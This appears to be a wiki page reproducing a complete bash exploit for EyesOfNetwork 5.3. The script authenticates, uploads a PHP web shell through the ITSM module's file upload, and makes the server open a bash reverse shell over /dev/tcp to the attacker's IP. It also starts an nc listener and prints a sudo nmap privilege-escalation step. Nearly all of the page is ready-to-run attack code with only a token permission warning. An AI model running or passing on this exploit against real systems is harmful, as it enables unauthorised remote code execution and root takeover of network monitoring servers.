View source for EyesOfNetwork 5.3 任意文件上傳&遠程代碼執行漏洞

==EXP==
<pre>
# Exploit Title: EyesOfNetwork 5.3 - File Upload Remote Code Execution
# Date: 10/01/2021
# Exploit Author: Ariane.Blow
# Vendor Homepage: https://www.eyesofnetwork.com/en
# Software Link: http://download.eyesofnetwork.com/EyesOfNetwork-5.3-x86_64-bin.iso
# Version: 5.3-10 (12/9/2020-lastest)

#!/bin/bash

# (/!\) You may have change this string : "user_id=1; user_limitation=0; group_id=1" if you are not the admin user in the admin group, you find this in the cookies params /!\

###############################################
#              (Authentified)                 #
#         Abritraty file upload               #
#  It whase a Challenge to do that in BASH    #
#    But the exploit's working fine !         #
#               ...........                   #
# Exploit is working with the actual version  #
#         Scripted on 01/10/2021              #
#              By Ariane.Blow                 #
#           https://ariane.agency/            #
###############################################
banner()
{
clear
echo "                 ,*-."
echo '                 |  |'
echo '             ,.  |  |'
echo '             | |_|  | ,.'
echo '             `---.  |_| |'
echo '                 |  .--`'
echo "                 |  |"
echo "                 |  |"
echo ""Ω
echo " ! DO NOT USE IF YOU DONT HAVE PERSMISSION !"
echo ""
echo "         EyesOfNetwork 5.3-10"
echo ""
echo "             RedTeam Tool"
echo ""
echo "       Input verification desertion"
echo ""
echo "       RCE via Arbitrary FileUpload"
echo ""
echo ""
}
VAR()
{
#var
#Beacause I don't whant to see all the *.sh in my OPT directory ... BashMan Tips xD !
mkdir /tmp/EON53
cd /tmp/EON53
#you can not upload more than 1 file with a same URL and same filename, i just add a random char at the end of URL and in the filename
export random=$(cat /dev/urandom | tr -dc 'bcdfghjklmnpqrstvwxz' | head -c 9)
export filename=shell$random.xml.php
echo "EyesOfNetwork IP :"
read eonIP
echo "HackerIP (used to start the listener) :"
read hackerIP
echo "Hacker PORT (used to start the listener):"
read PORT
echo "Username (default = admin) :"
read username
echo "password :"
read password
}
#Getting the session_id
GetSessionID()
{
echo "getting sessionID ... "    
echo "curl -i -s -k -X $'POST'     -H $'Host: $eonIP' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer: https://$eonIP/login.php' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 20' -H $'Origin: https://$eonIP' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1'     --data-binary $'login=$username&mdp=$password'     $'https://$eonIP/login.php' | grep session | cut -d ';' -f 1 | cut -d '=' -f 2" >> GetSession.sh
chmod +x GetSession.sh
sessionID=$(./GetSession.sh)
echo "sessionID acquired : $sessionID"
sleep 3
echo 
}
#start listener
start_listen()
{
printf "\e[31;1m When the Reverse-Shell is etablished, you can PrivEsc with :\e[0m \n"
echo "echo 'os.execute(\"/bin/sh\")' > /tmp/nmap.script"
echo "sudo nmap --script=/tmp/nmap.script"
printf "\e[31;1m ... I Know ... \e[0m \n"
echo "gnome-terminal -e 'nc -lnvp $PORT'" >> listen.sh
chmod +x listen.sh
./listen.sh
}
#POST payload
Payload()
{
echo "Sending PostRequest ..."
echo "curl -i -s -k -X $'POST' \
    -H $'Host: $eonIP' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H $'Accept: text/html, */*; q=0.01' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'X-Requested-With: XMLHttpRequest' -H $'Content-Type: multipart/form-data; boundary=---------------------------123135855827554554412483984802' -H $'Content-Length: 1565' -H $'Origin: https://$eonIP' -H $'Connection: close' -H $'Referer: https://$eonIP/module/admin_itsm/modification_itsm.php' -H $'Cookie: session_id=$sessionID; user_name=$username; user_id=1; user_limitation=0; group_id=1' \
    -b $'session_id=$sessionID; user_name=$username; user_id=1; user_limitation=0; group_id=1' \
    --data-binary $'-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_url_id\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_url\"\x0d\x0a\x0d\x0ahttp://HackMe.ImFamous$random\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"fileName\"; filename=\"$filename\"\x0d\x0aContent-Type: text/xml\x0d\x0a\x0a<?php\x0d\x0aexec(\"/bin/bash -c \'bash -i > /dev/tcp/$hackerIP/$PORT 0>&1\'\");\x0a\x0a\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"input_file_name\"\x0d\x0a\x0d\x0ashell.xml\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_type_request\"\x0d\x0a\x0d\x0aget\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_header[]\"\x0d\x0a\x0d\x0aaz\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_var[0][var_name]\"\x0d\x0a\x0d\x0aaz\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_var[0][champ_ged_id]\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_parent\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"itsm_return_champ\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------123135855827554554412483984802\x0d\x0aContent-Disposition: form-data; name=\"action\"\x0d\x0a\x0d\x0aadd_external_itsm\x0d\x0a-----------------------------123135855827554554412483984802--\x0d\x0a' \
    $'https://$eonIP/module/admin_itsm/ajax.php' | grep success" >> req.sh
chmod +x req.sh
./req.sh
}
#Get request on PHP exploit
Req_payload()
{
echo "Get request on the PHP payload ..."
echo "curl -i -s -k -X $'GET' \
    -H $'Host: $eonIP' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: session_id=$sessionID; user_name=$username; user_id=1; user_limitation=0; group_id=1' -H $'Upgrade-Insecure-Requests: 1' -H $'Cache-Control: max-age=0' \
    -b $'session_id=$sessionID; user_name=$username; user_id=1; user_limitation=0; group_id=1' \
    $'https://$eonIP/module/admin_itsm/uploaded_file/$filename'" >> reqGET.sh

chmod +x reqGET.sh
./reqGET.sh
}
#Clearing
Clear_cache()
{
echo "clearing cache"
rm listen.sh
rm req.sh
rm reqGET.sh
rm GetSession.sh
cd ..
rmdir EON53
}

#MAIN
banner
VAR
GetSessionID
start_listen
Payload
Req_payload
Clear_cache
</pre>